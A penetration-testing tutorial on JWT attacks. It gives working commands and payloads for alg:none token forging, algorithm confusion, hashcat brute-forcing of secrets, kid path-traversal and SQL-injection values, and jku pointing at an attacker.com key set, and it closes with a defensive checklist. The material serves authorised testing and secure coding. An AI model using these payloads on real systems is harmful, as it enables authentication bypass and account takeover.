JSON Web Tokens (JWTs) are the backbone of authentication in modern APIs and single-page applications. They’re compact, self-contained, and stateless — which makes them attractive to developers. They’re also a minefield of implementation mistakes that can let attackers forge arbitrary tokens, escalate privileges, or bypass authentication entirely. Understanding JWT attacks is essential for any web application pentester.
How JWTs Work
A JWT consists of three Base64URL-encoded sections separated by dots:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
- Header: Algorithm and token type (
{"alg": "HS256", "typ": "JWT"})
- Payload: Claims — user data, expiry, roles (
{"sub": "1234567890", "role": "user"})
- Signature: Cryptographic proof the token hasn’t been tampered with
The server signs the header+payload with a secret key. On subsequent requests, the server re-computes the signature and compares it to the one in the token. If they match, the token is trusted.
JWT Attack Lab Setup
jwt_tool by ticarpi is the go-to CLI for JWT testing:
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
pip3 install -r requirements.txt
python3 jwt_tool.py --help
Burp Suite with the JWT Editor extension (available in BApp Store) provides an excellent GUI for intercepting and modifying tokens.
To inspect a JWT quickly without tooling, paste it into jwt.io — it decodes and displays the contents in your browser (never paste tokens with real secrets into third-party sites during actual engagements).
Attack 1: The alg: none Attack
One of the most notorious JWT vulnerabilities is the none algorithm attack. The JWT specification allows a token with no signature if the algorithm is set to none. Vulnerable implementations accept this as valid.
# Crafting a none-algorithm JWT manually
import base64
import json
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "1", "role": "admin", "exp": 9999999999}
def b64url_encode(data):
return base64.urlsafe_b64encode(json.dumps(data).encode()).rstrip(b'=').decode()
token = f"{b64url_encode(header)}.{b64url_encode(payload)}."
print(token)
The trailing dot represents an empty signature. Send this token to the server. If it accepts it, you’ve found a critical vulnerability.
With jwt_tool:
python3 jwt_tool.py eyJ... -X a
The -X a flag tests the none algorithm attack automatically.
Attack 2: Algorithm Confusion (RS256 → HS256)
This is one of the most impactful JWT vulnerabilities. When an application uses RS256 (asymmetric — signed with private key, verified with public key), the server’s public key is often discoverable (JWKS endpoint, source code, or SSL certificate).
A vulnerable implementation might use the same code path for HS256 and RS256 verification. If you change the algorithm from RS256 to HS256 and sign the token with the public key (treating it as the HMAC secret), a buggy verifier will accept the token — because it uses the public key as the HS256 secret.
# Get the public key
curl https://target.com/.well-known/jwks.json
# Use jwt_tool to perform the confusion attack
python3 jwt_tool.py eyJ... -X k -pk public_key.pem
jwt_tool converts the JWKS public key to PEM format and signs a modified token using it as an HS256 secret.
Attack 3: Weak Secret Brute-Force
If HS256 is used with a weak secret, you can brute-force the signing key:
# Using hashcat
hashcat -a 0 -m 16500 eyJ... /usr/share/wordlists/rockyou.txt
# Using jwt_tool
python3 jwt_tool.py eyJ... -C -d /usr/share/wordlists/rockyou.txt
Common weak secrets include secret, password, jwt_secret, the application name, and empty strings. Once you have the secret, you can forge any token:
python3 jwt_tool.py eyJ... -T -S hs256 -p "found_secret"
The -T flag enters tamper mode, letting you modify any claim before re-signing.
kid (Key ID) Injection
The kid header parameter tells the server which key to use for verification. If the server uses kid in a file path or SQL query without sanitization, you can inject:
{"alg": "HS256", "kid": "../../dev/null"}
If the server reads the key from ../../dev/null (an empty file), the HMAC secret becomes an empty string, and you can sign with "".
SQL injection variant:
{"kid": "' UNION SELECT 'mysecret'-- -"}
If the kid is used in a SQL query to fetch the key, this injects your own secret.
jku and x5u Header Injection
The jku (JWK Set URL) header tells the server where to fetch the public key for verification. A vulnerable server follows this URL:
{"alg": "RS256", "jku": "https://attacker.com/jwks.json"}
Host your own JWKS file containing a key pair you control. Sign the token with your private key. The server fetches your public key and verifies the signature — accepting your forged token.
# jwt_tool automates this
python3 jwt_tool.py eyJ... -X s
# Creates a key pair and serves the JWKS automatically
Attack 5: Claim Manipulation
Even without breaking the signature, always check what happens when you modify standard claims:
- Change
"role": "user" to "role": "admin" (if signature isn’t verified properly)
- Remove the
exp claim (does the server enforce expiry without it?)
- Set
exp to a future timestamp far beyond normal limits
- Change
sub to another user’s ID (horizontal privilege escalation)
Use Burp’s JWT Editor to modify claims in intercepted requests: Intercept > Send to Repeater > JWT Editor tab > edit payload > Attack > Sign.
Secure JWT Implementation Checklist
For developers and security reviewers:
- Always verify the signature on every request. Never trust unverified token contents.
- Reject
alg: none explicitly. Use an allowlist of accepted algorithms.
- Use strong secrets for HS256 (minimum 256 bits, cryptographically random). Store in environment variables, not code.
- Prefer RS256 or ES256 for distributed systems where multiple services verify tokens.
- Never trust the
alg header to select the verification algorithm. The server should enforce the expected algorithm.
- Validate standard claims:
exp (expiry), nbf (not before), iss (issuer), aud (audience).
- Sanitize
kid parameters — treat them as untrusted user input.
- Disable
jku and x5u unless absolutely required, and validate against an allowlist if used.
Conclusion
JWTs are everywhere, and JWT vulnerabilities are surprisingly common even in production applications. The none algorithm and algorithm confusion attacks are particularly powerful because they can grant complete authentication bypass with no knowledge of the secret key. When testing any application that uses JWTs, always start by decoding the token, identifying the algorithm, and working through each attack class systematically. A single misimplemented JWT can be the key to full account takeover.